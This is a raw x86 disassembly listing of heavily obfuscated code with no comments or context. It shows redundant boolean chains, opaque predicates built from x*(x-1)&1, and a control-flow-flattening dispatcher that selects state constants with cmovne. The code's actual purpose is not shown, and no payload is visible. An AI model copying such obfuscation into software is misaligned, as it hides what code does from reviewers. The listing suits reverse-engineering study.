mov al, bl
xor al, 0
xor cl, 0xff
mov ah, bl
xor ah, 1
or al, cl
or ah, 1
xor al, 0xff
and al, ah
mov cl, bl
xor cl, 0
and cl, 1
mov ah, bl
xor ah, 1
and ah, 0
or cl, ah
xor bh, 0xff
mov ah, cl
xor ah, 0xff
mov ch, bl
xor ch, 1
or bh, ah
or ch, 1
xor bh, 0xff
and bh, ch
mov ah, byte [ebp - 0x315]
xor ah, 0xff
and ah, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x31d], al
mov al, byte [ebp - 0x315]
and al, ch
or ah, al
mov al, bl
xor al, 0
mov ch, ah
xor ch, al
and ch, ah
mov al, byte [ebp - 0x315]
xor al, 0xff
xor cl, 0xff
mov ah, bl
xor ah, 1
or al, cl
or ah, 1
xor al, 0xff
and al, ah
mov cl, byte [ebp - 0x31d]
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x31e], al
mov al, bl
xor al, 0
mov byte [ebp - 0x31f], al
mov al, cl
and al, 0
mov byte [ebp - 0x320], al
mov al, byte [ebp - 0x31d]
mov byte [ebp - 0x321], cl
mov cl, byte [ebp - 0x31f]
and al, cl
mov cl, ah
and cl, 0
mov byte [ebp - 0x322], al
mov al, byte [ebp - 0x31f]
and bh, al
mov al, byte [ebp - 0x320]
mov byte [ebp - 0x323], cl
mov cl, byte [ebp - 0x322]
or al, cl
mov cl, byte [ebp - 0x323]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x321]
or cl, ah
xor cl, 0xff
mov ah, byte [ebp - 0x31f]
or ah, 0
and cl, ah
or al, cl
mov cl, ch
mov ah, byte [ebp - 0x31e]
and cl, ah
xor ch, ah
or cl, ch
mov ch, al
xor ch, 0xff
mov bh, cl
and bh, ch
xor cl, 0xff
and al, cl
or bh, al
mov al, byte [ebp - 0x31c]
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov ch, byte [ebp - 0x31c]
and ch, cl
mov ah, bl
xor ah, 1
and ah, 0xff
and cl, 1
or al, ch
or ah, cl
xor al, ah
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
mov ch, bh
and ch, ah
mov byte [ebp - 0x324], al
mov al, bl
xor al, 1
and al, 0xff
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov al, bl
xor al, 0
and al, 0
mov ah, bl
xor ah, 0
mov ch, ah
and ch, 0
mov byte [ebp - 0x325], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x326], al
mov al, byte [ebp - 0x325]
or al, ch
mov ch, byte [ebp - 0x326]
or ch, ah
xor al, ch
mov ah, bl
xor ah, 0
mov ch, byte [ebp - 0x324]
xor ch, ah
mov ah, byte [ebp - 0x324]
and ch, ah
mov ah, byte [ebp - 0x31c]
xor ah, 0xff
mov byte [ebp - 0x327], al
xor al, 0xff
mov byte [ebp - 0x328], al
mov al, bl
xor al, 1
mov byte [ebp - 0x329], al
mov al, byte [ebp - 0x328]
or ah, al
mov al, byte [ebp - 0x329]
or al, 1
xor ah, 0xff
and ah, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x32a], al
mov al, bl
xor al, 0
mov byte [ebp - 0x32b], al
mov al, bl
xor al, 0
mov byte [ebp - 0x32c], al
mov al, byte [ebp - 0x32a]
mov byte [ebp - 0x32d], cl
mov cl, byte [ebp - 0x32b]
or al, cl
mov cl, byte [ebp - 0x32c]
or cl, 0
xor al, 0xff
and al, cl
xor bh, 0xff
mov cl, byte [ebp - 0x327]
xor cl, 0xff
mov byte [ebp - 0x32e], al
mov al, bl
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, ch
and al, ah
xor ch, ah
or al, ch
mov cl, byte [ebp - 0x32e]
and cl, bh
mov ah, byte [ebp - 0x32e]
xor ah, bh
or cl, ah
mov ah, al
xor ah, 0xff
mov ch, cl
and ch, ah
xor cl, 0xff
and al, cl
or ch, al
mov al, byte [ebp - 0x324]
xor al, 0xff
mov cl, byte [ebp - 0x32d]
xor cl, 0xff
mov ah, bl
xor ah, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x32f], al
mov al, byte [ebp - 0x324]
and al, ah
mov byte [ebp - 0x330], al
mov al, cl
and al, 0
mov byte [ebp - 0x331], al
mov al, byte [ebp - 0x32d]
and al, ah
mov byte [ebp - 0x332], al
mov al, byte [ebp - 0x330]
or bh, al
mov al, byte [ebp - 0x331]
mov byte [ebp - 0x333], cl
mov cl, byte [ebp - 0x332]
or al, cl
xor bh, al
mov al, byte [ebp - 0x32f]
mov cl, byte [ebp - 0x333]
or al, cl
xor al, 0xff
or ah, 0
and al, ah
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov ah, bl
xor ah, 0
and bh, ah
mov cl, bl
xor cl, 1
and cl, 0
and ah, 1
or al, bh
or cl, ah
xor al, cl
mov cl, bl
xor cl, 0
mov ah, byte [ebp - 0x327]
xor ah, 0xff
mov bh, bl
xor bh, 1
mov byte [ebp - 0x334], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x335], al
mov al, bh
and al, 0
mov byte [ebp - 0x336], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x337], al
mov al, byte [ebp - 0x327]
and al, bh
mov byte [ebp - 0x338], al
mov al, byte [ebp - 0x335]
mov byte [ebp - 0x339], cl
mov cl, byte [ebp - 0x336]
or al, cl
mov cl, byte [ebp - 0x337]
mov byte [ebp - 0x33a], al
mov al, byte [ebp - 0x338]
or cl, al
mov al, byte [ebp - 0x33a]
xor al, cl
mov cl, byte [ebp - 0x339]
or cl, ah
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x334]
xor cl, al
mov al, byte [ebp - 0x334]
and cl, al
mov ah, ch
xor ah, 0xff
mov bh, cl
xor bh, 0xff
xor bl, 0
mov al, ah
and al, 0
and ch, bl
mov byte [ebp - 0x33b], al
mov al, bh
and al, 0
and cl, bl
mov byte [ebp - 0x33c], al
mov al, byte [ebp - 0x33b]
or al, ch
mov ch, byte [ebp - 0x33c]
or ch, cl
xor al, ch
or ah, bh
xor ah, 0xff
or bl, 0
and ah, bl
or al, ah
test al, 1
mov esi, dword [ebp - 0x314]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x47044a
mov dword [ebp - 0x28], 0x3f83ace
jmp 0x47044a
mov eax, 0x83af5fdf
mov ecx, 0xeef87098
mov dl, 1
xor esi, esi
mov edi, dword [0x4a4094]
mov ebx, dword [0x4a4098]
mov dword [ebp - 0x340], eax
mov eax, esi
sub eax, edi
mov dword [ebp - 0x344], eax
mov eax, esi
sub eax, 0xe1a08f22
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x34c], ecx
mov ecx, dword [ebp - 0x348]
add eax, ecx
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, ecx
mov ecx, esi
sub ecx, 0xb7ccda87
add eax, ecx
mov ecx, esi
sub ecx, eax
add ecx, 0x3ab916
sub ecx, 0xe1a08f22
sub ecx, 0x3ab916
sub ecx, 0x9259c0de
sub ecx, 0x5287cd45
add ecx, 0x9259c0de
mov eax, esi
sub eax, 1
add ecx, eax
mov eax, esi
sub eax, 0x5287cd45
sub ecx, eax
sub esi, 0xb7ccda87
add esi, 0
add ecx, 0x88199c75
add ecx, esi
sub ecx, 0x88199c75
imul edi, ecx
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, al
and ch, cl
or ah, ch
mov cl, dh
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
mov cl, dh
and cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
mov ah, ch
xor ah, cl
and ah, ch
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, dh
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, al
xor ch, 0xff
xor cl, 0xff
mov bl, dl
xor bl, 1
or ch, cl
or bl, 1
xor ch, 0xff
and ch, bl
mov cl, al
xor cl, 0xff
and cl, 0
mov bl, dl
xor bl, 0
and al, bl
mov bh, dl
xor bh, 1
and bh, 0
and bl, 1
or cl, al
or bh, bl
xor cl, bh
xor dh, 0xff
xor cl, 0xff
mov al, dl
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, ch
xor al, 0xff
mov cl, dh
xor cl, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
and ch, bl
mov byte [ebp - 0x34d], al
mov al, cl
and al, 0
and dh, bl
or bh, ch
or al, dh
xor bh, al
mov al, byte [ebp - 0x34d]
or al, cl
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, ah
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ch, ah
and ch, cl
mov dh, dl
xor dh, 1
and dh, 0
and cl, 1
or al, ch
or dh, cl
xor al, dh
mov cl, bh
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, bh
and dh, ch
or cl, dh
mov ch, dl
xor ch, 0
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0
or ch, dh
mov dh, dl
xor dh, 0
mov bl, al
xor bl, dh
and bl, al
mov dh, ch
xor dh, 0xff
mov byte [ebp - 0x34e], al
mov al, ah
xor al, dh
and al, ah
mov ah, cl
xor ah, 0xff
mov dh, dl
xor dh, 0
mov byte [ebp - 0x34f], al
mov al, dl
xor al, 1
or ah, dh
or al, 1
xor ah, 0xff
and ah, al
xor bh, 0xff
mov al, ch
xor al, 0xff
mov dh, dl
xor dh, 1
or bh, al
or dh, 1
xor bh, 0xff
and bh, dh
mov al, bl
xor al, 0xff
mov dh, byte [ebp - 0x34f]
xor dh, 0xff
mov byte [ebp - 0x350], al
mov al, dl
xor al, 0
mov byte [ebp - 0x351], al
mov al, byte [ebp - 0x350]
and al, 0
mov byte [ebp - 0x352], al
mov al, byte [ebp - 0x351]
and bl, al
mov al, dh
and al, 0
mov byte [ebp - 0x353], al
mov al, byte [ebp - 0x34f]
mov byte [ebp - 0x354], cl
mov cl, byte [ebp - 0x351]
and al, cl
mov cl, byte [ebp - 0x352]
or cl, bl
mov bl, byte [ebp - 0x353]
or bl, al
xor cl, bl
mov al, byte [ebp - 0x350]
or al, dh
xor al, 0xff
mov dh, byte [ebp - 0x351]
or dh, 0
and al, dh
or cl, al
mov al, ah
and al, bh
xor ah, bh
or al, ah
mov ah, cl
xor ah, 0xff
mov dh, al
and dh, ah
xor al, 0xff
and cl, al
or dh, cl
mov al, byte [ebp - 0x34e]
mov cl, byte [ebp - 0x354]
and al, cl
mov ah, byte [ebp - 0x34e]
xor ah, cl
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
and al, bl
mov bh, dl
xor bh, 1
and bh, 0xff
and bl, 1
or ah, al
or bh, bl
xor ah, bh
mov al, dl
xor al, 0
mov bl, ch
xor bl, 0xff
xor dl, 1
mov bh, al
and bh, 0xff
mov cl, dl
and cl, 0
mov byte [ebp - 0x355], al
mov al, bl
and al, 0xff
and ch, dl
or bh, cl
or al, ch
xor bh, al
mov al, byte [ebp - 0x355]
or al, bl
xor al, 0xff
or dl, 1
and al, dl
or bh, al
xor bh, 0xff
mov al, ah
xor al, bh
and al, ah
mov cl, dh
and cl, al
xor dh, al
or cl, dh
test cl, 1
mov esi, dword [ebp - 0x340]
mov edi, dword [ebp - 0x34c]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x47044a
mov eax, 0x83af5fdf
mov ecx, 0x8bc170b6
mov dl, 1
xor esi, esi
mov edi, dword [0x4a4094]
mov ebx, dword [0x4a4098]
mov dword [ebp - 0x35c], eax
mov eax, edi
add eax, 0xb6e6589e
add eax, 0xfabac955
sub eax, 0xb6e6589e
sub eax, 0x4c32f53c
add eax, 0x8dc6c59b
add eax, 0x4c32f53c
mov dword [ebp - 0x360], eax
mov eax, esi
sub eax, 0xfabac955
mov dword [ebp - 0x364], eax
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x368], ecx
mov ecx, dword [ebp - 0x364]
add eax, ecx
add eax, 0x75859e0b
sub eax, 0x9afaae0a
sub eax, 0x75859e0b
mov ecx, esi
sub ecx, 1
add eax, ecx
mov ecx, esi
sub ecx, 0x9afaae0a
sub eax, ecx
sub eax, 0x9e98cf51
sub eax, 0xc2f94a16
add eax, 0x9e98cf51
sub esi, 0x8dc6c59b
add eax, esi
add eax, 0xc9474fc
add eax, 0xc2f94a16
sub eax, 0xc9474fc
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, al
and ch, cl
or ah, ch
mov cl, dh
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
mov cl, dh
and cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
mov ah, ch
xor ah, cl
and ah, ch
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov bl, dh
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
xor cl, 0xff
xor cl, 0
and cl, 0
mov ch, dl
xor ch, 0
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0x369], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, ch
xor al, 0xff
mov bl, dh
xor bl, al
and bl, dh
mov al, byte [ebp - 0x369]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x369]
and bh, dh
or al, bh
xor al, 0xff
mov dh, dl
xor dh, 0
mov bh, dl
xor bh, 0
or al, dh
or bh, 0
xor al, 0xff
and al, bh
mov dh, byte [ebp - 0x369]
xor dh, 0xff
xor ch, 0xff
mov bh, dl
xor bh, 0
or dh, ch
or bh, 0
xor dh, 0xff
and dh, bh
mov ch, cl
and ch, bl
xor cl, bl
or ch, cl
mov cl, al
xor cl, 0xff
mov bl, dh
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x36a], al
mov al, cl
and al, 0
mov byte [ebp - 0x36b], al
mov al, byte [ebp - 0x36a]
and al, bh
mov byte [ebp - 0x36c], al
mov al, bl
and al, 0
and dh, bh
mov byte [ebp - 0x36d], al
mov al, byte [ebp - 0x36b]
mov byte [ebp - 0x36e], cl
mov cl, byte [ebp - 0x36c]
or al, cl
mov cl, byte [ebp - 0x36d]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x36e]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, ch
xor cl, 0xff
mov dh, al
and dh, cl
xor al, 0xff
and ch, al
or dh, ch
mov al, ah
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, ah
and ch, cl
or al, ch
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov bl, dh
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x36f], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, byte [ebp - 0x36f]
xor al, 0xff
mov bl, dl
xor bl, 1
mov bh, dl
xor bh, 0
or al, bl
or bh, 0
xor al, 0xff
and al, bh
xor ah, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 1
or ah, bl
or bh, 1
xor ah, 0xff
and ah, bh
mov bl, dl
xor bl, 1
mov bh, cl
xor bh, bl
and bh, cl
xor dh, 0xff
mov bl, ch
xor bl, 0xff
mov byte [ebp - 0x370], al
mov al, dl
xor al, 0
or dh, bl
or al, 0
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0x370]
and al, ah
mov bl, byte [ebp - 0x370]
xor bl, ah
or al, bl
mov ah, bh
and ah, dh
xor bh, dh
or ah, bh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
and al, bl
mov bh, ah
xor bh, 0xff
and bh, 0xff
and ah, bl
or dh, al
or bh, ah
xor dh, bh
mov al, byte [ebp - 0x36f]
and al, cl
mov ah, byte [ebp - 0x36f]
xor ah, cl
or al, ah
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, dl
xor al, 1
mov ah, ch
xor ah, 0xff
xor dl, 1
mov bl, al
and bl, 0xff
mov bh, dl
and bh, 1
mov byte [ebp - 0x371], al
mov al, ah
and al, 0xff
and ch, dl
or bl, bh
or al, ch
xor bl, al
mov al, byte [ebp - 0x371]
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or bl, al
xor bl, 0xff
mov al, cl
xor al, bl
and al, cl
mov cl, dh
and cl, al
xor dh, al
or cl, dh
test cl, 1
mov esi, dword [ebp - 0x35c]
mov edi, dword [ebp - 0x368]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x47044a
mov dword [ebp - 0x28], 0x3cc2e1ad
jmp 0x47044a
mov eax, 0xe7f6fc53
mov ecx, 0xed5ed257
mov dl, 1
xor esi, esi
mov edi, 0xcd07c660
mov ebx, dword [0x4a4094]
mov dword [ebp - 0x378], eax
mov eax, dword [0x4a4098]
add edi, 0
sub edi, 0x14073fc5
sub edi, 0xcd07c660
add edi, 0x8c57926b
sub edi, 1
sub edi, 0x8c57926b
add edi, 0x182f6d47
add edi, 0x14073fc5
sub edi, 0x182f6d47
sub esi, edi
add esi, 0
mov edi, ebx
add edi, 0x57d26fcf
sub edi, esi
sub edi, 0x57d26fcf
imul ebx, edi
and ebx, 1
cmp ebx, 0
sete dh
cmp eax, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, al
and bh, bl
or ah, bh
mov bl, dh
xor bl, 0xff
mov bh, ah
and bh, bl
xor ah, 0xff
mov bl, dh
and bl, ah
or bh, bl
mov ah, dh
xor ah, 0xff
mov bl, bh
xor bl, ah
and bl, bh
mov ah, dh
xor ah, 0xff
and ah, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x379], al
mov al, dh
and al, bh
or ah, al
xor ah, 0xff
mov al, byte [ebp - 0x379]
xor al, ah
mov ah, byte [ebp - 0x379]
and al, ah
xor ah, 0xff
and ah, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x37a], al
mov al, byte [ebp - 0x379]
and al, bh
mov byte [ebp - 0x37b], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x37c], al
mov al, byte [ebp - 0x37b]
or ah, al
mov al, byte [ebp - 0x37c]
or al, bh
xor ah, al
xor ah, 0xff
mov al, dh
xor al, ah
and al, dh
mov ah, byte [ebp - 0x37a]
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x37d], al
mov al, ah
and al, 0
mov byte [ebp - 0x37e], al
mov al, byte [ebp - 0x37a]
and al, bh
mov byte [ebp - 0x37f], al
mov al, dh
and al, 0
mov byte [ebp - 0x380], al
mov al, byte [ebp - 0x37d]
and al, bh
mov byte [ebp - 0x381], al
mov al, byte [ebp - 0x37e]
mov dword [ebp - 0x388], ecx
mov cl, byte [ebp - 0x37f]
or al, cl
mov cl, byte [ebp - 0x380]
mov ch, byte [ebp - 0x381]
or cl, ch
xor al, cl
or ah, dh
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov cl, bl
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, bl
xor ah, 0xff
mov ch, al
and ch, ah
xor al, 0xff
and bl, al
or ch, bl
mov al, cl
xor al, 0xff
mov ah, ch
xor ah, 0xff
xor dl, 0
mov dh, al
and dh, 0
and cl, dl
mov bl, ah
and bl, 0
and ch, dl
or dh, cl
or bl, ch
xor dh, bl
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or dh, al
test dh, 1
mov esi, dword [ebp - 0x378]
mov edi, dword [ebp - 0x388]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x47044a
mov eax, 0xe7f6fc53
mov ecx, 0xb8ae0892
mov dl, 1
xor esi, esi
mov edi, dword [0x4a4094]
mov ebx, dword [0x4a4098]
mov dword [ebp - 0x38c], eax
mov eax, edi
sub eax, 0x1ba3aae6
sub eax, 0xb6e85e55
add eax, 0x1ba3aae6
add eax, 0x117ef85
sub eax, 0x5d2697cf
sub eax, 0x117ef85
mov dword [ebp - 0x390], eax
mov eax, esi
sub eax, 0xb6e85e55
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x398], ecx
mov ecx, dword [ebp - 0x394]
sub eax, ecx
sub esi, 0x1706404e
sub esi, 1
add esi, 0x1706404e
sub eax, 0x823b749d
add eax, esi
add eax, 0x823b749d
sub eax, 0x6dacda34
add eax, 0x3d5bc093
add eax, 0x6dacda34
sub eax, 0x402d491d
add eax, 0x5d2697cf
add eax, 0x402d491d
add eax, 0x557c7b77
sub eax, 0x3d5bc093
sub eax, 0x557c7b77
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 0
mov cl, dl
xor cl, 0
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
mov cl, dl
xor cl, 1
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
mov ch, dh
xor ch, ah
and ch, dh
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x399], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
xor ch, 0xff
mov al, byte [ebp - 0x399]
xor al, ch
mov ch, byte [ebp - 0x399]
and al, ch
mov bl, cl
and bl, al
xor cl, al
or bl, cl
mov al, dl
xor al, 1
and al, 1
mov cl, dl
xor cl, 1
and cl, 1
or al, cl
mov cl, dl
xor cl, 0
xor al, 0xff
mov bh, dl
xor bh, 0
or cl, al
or bh, 0
xor cl, 0xff
and cl, bh
mov al, dl
xor al, 0
and al, 0
mov bh, dl
xor bh, 0
mov ch, bh
and ch, 0
mov byte [ebp - 0x39a], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x39b], al
mov al, byte [ebp - 0x39a]
or al, ch
mov ch, byte [ebp - 0x39b]
or ch, bh
xor al, ch
mov ch, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov bh, dl
xor bh, 1
and bh, 0
mov byte [ebp - 0x39c], al
mov al, dl
xor al, 0
mov byte [ebp - 0x39d], al
and al, 1
mov byte [ebp - 0x39e], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x39f], al
mov al, byte [ebp - 0x39d]
and al, 1
mov byte [ebp - 0x3a0], al
mov al, byte [ebp - 0x39e]
or bh, al
mov al, byte [ebp - 0x39f]
mov byte [ebp - 0x3a1], cl
mov cl, byte [ebp - 0x3a0]
or al, cl
xor bh, al
mov al, dl
xor al, 0
mov cl, bh
xor cl, al
and cl, bh
mov al, dl
xor al, 1
mov bh, byte [ebp - 0x39c]
xor bh, 0xff
mov byte [ebp - 0x3a2], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3a3], al
mov al, byte [ebp - 0x3a2]
or al, bh
mov bh, byte [ebp - 0x3a3]
or bh, 1
xor al, 0xff
and al, bh
mov bh, byte [ebp - 0x3a1]
xor bh, 0xff
mov byte [ebp - 0x3a4], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x3a5], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3a6], al
mov al, bh
and al, 0
mov byte [ebp - 0x3a7], al
mov al, byte [ebp - 0x3a1]
mov byte [ebp - 0x3a8], cl
mov cl, byte [ebp - 0x3a6]
and al, cl
mov cl, byte [ebp - 0x3a5]
and cl, 0
mov byte [ebp - 0x3a9], al
mov al, byte [ebp - 0x3a6]
and ch, al
mov al, byte [ebp - 0x3a7]
mov byte [ebp - 0x3aa], cl
mov cl, byte [ebp - 0x3a9]
or al, cl
mov cl, byte [ebp - 0x3aa]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x3a5]
or bh, cl
xor bh, 0xff
mov ch, byte [ebp - 0x3a6]
or ch, 0
and bh, ch
or al, bh
mov ch, byte [ebp - 0x3a8]
xor ch, 0xff
mov bh, byte [ebp - 0x3a4]
xor bh, 0xff
mov cl, dl
xor cl, 1
mov byte [ebp - 0x3ab], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x3ac], al
mov al, byte [ebp - 0x3a8]
and al, cl
mov byte [ebp - 0x3ad], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x3ae], al
mov al, byte [ebp - 0x3a4]
and al, cl
mov byte [ebp - 0x3af], al
mov al, byte [ebp - 0x3ac]
mov byte [ebp - 0x3b0], cl
mov cl, byte [ebp - 0x3ad]
or al, cl
mov cl, byte [ebp - 0x3ae]
mov byte [ebp - 0x3b1], al
mov al, byte [ebp - 0x3af]
or cl, al
mov al, byte [ebp - 0x3b1]
xor al, cl
or ch, bh
xor ch, 0xff
mov cl, byte [ebp - 0x3b0]
or cl, 1
and ch, cl
or al, ch
mov cl, byte [ebp - 0x3ab]
xor cl, 0xff
mov ch, al
and ch, cl
xor al, 0xff
mov cl, byte [ebp - 0x3ab]
and cl, al
or ch, cl
mov al, ah
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov bh, ah
and bh, cl
mov byte [ebp - 0x3b2], al
mov al, dl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0x3b3], al
mov al, byte [ebp - 0x3b2]
or al, bh
mov bh, byte [ebp - 0x3b3]
or bh, cl
xor al, bh
mov cl, dl
xor cl, 1
and cl, 1
mov bh, dl
xor bh, 1
and bh, 1
or cl, bh
mov bh, dl
xor bh, 1
and bh, 0
mov byte [ebp - 0x3b4], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3b5], al
and al, 1
mov byte [ebp - 0x3b6], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x3b7], al
mov al, byte [ebp - 0x3b5]
and al, 1
mov byte [ebp - 0x3b8], al
mov al, byte [ebp - 0x3b6]
or bh, al
mov al, byte [ebp - 0x3b7]
mov byte [ebp - 0x3b9], cl
mov cl, byte [ebp - 0x3b8]
or al, cl
xor bh, al
mov al, byte [ebp - 0x3b4]
mov cl, byte [ebp - 0x3b9]
and al, cl
mov cl, byte [ebp - 0x3b4]
mov byte [ebp - 0x3ba], al
mov al, byte [ebp - 0x3b9]
xor cl, al
mov al, byte [ebp - 0x3ba]
or al, cl
mov cl, bh
and cl, 1
xor bh, 1
or cl, bh
mov bh, al
xor bh, 0xff
and bh, 1
mov byte [ebp - 0x3bb], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3bc], al
mov al, byte [ebp - 0x3bb]
mov byte [ebp - 0x3bd], cl
mov cl, byte [ebp - 0x3bc]
and al, cl
mov cl, dl
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x3be], al
mov al, byte [ebp - 0x3bc]
and al, 1
mov byte [ebp - 0x3bf], al
mov al, byte [ebp - 0x3be]
or bh, al
mov al, byte [ebp - 0x3bf]
or cl, al
xor bh, cl
xor bh, 0xff
mov al, byte [ebp - 0x3bd]
xor al, 0xff
mov cl, dl
xor cl, 0
or bh, al
or cl, 0
xor bh, 0xff
and bh, cl
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and dh, cl
or al, dh
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x3c0], al
mov al, ch
and al, dh
or cl, al
mov al, dl
xor al, 1
and al, 0
mov dh, dl
xor dh, 0
mov byte [ebp - 0x3c1], al
mov al, dh
and al, 1
mov byte [ebp - 0x3c2], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
mov byte [ebp - 0x3c3], al
mov al, byte [ebp - 0x3c1]
mov byte [ebp - 0x3c4], cl
mov cl, byte [ebp - 0x3c2]
or al, cl
mov cl, byte [ebp - 0x3c3]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x3c0]
mov dh, byte [ebp - 0x3c4]
and cl, dh
mov dh, byte [ebp - 0x3c0]
mov byte [ebp - 0x3c5], al
mov al, byte [ebp - 0x3c4]
xor dh, al
or cl, dh
mov dh, byte [ebp - 0x3c5]
and dh, 1
mov al, byte [ebp - 0x3c5]
xor al, 1
or dh, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x3c6], al
mov al, dl
xor al, 1
and cl, al
mov al, byte [ebp - 0x3c6]
or al, cl
xor al, 0xff
xor dh, 0xff
mov cl, dl
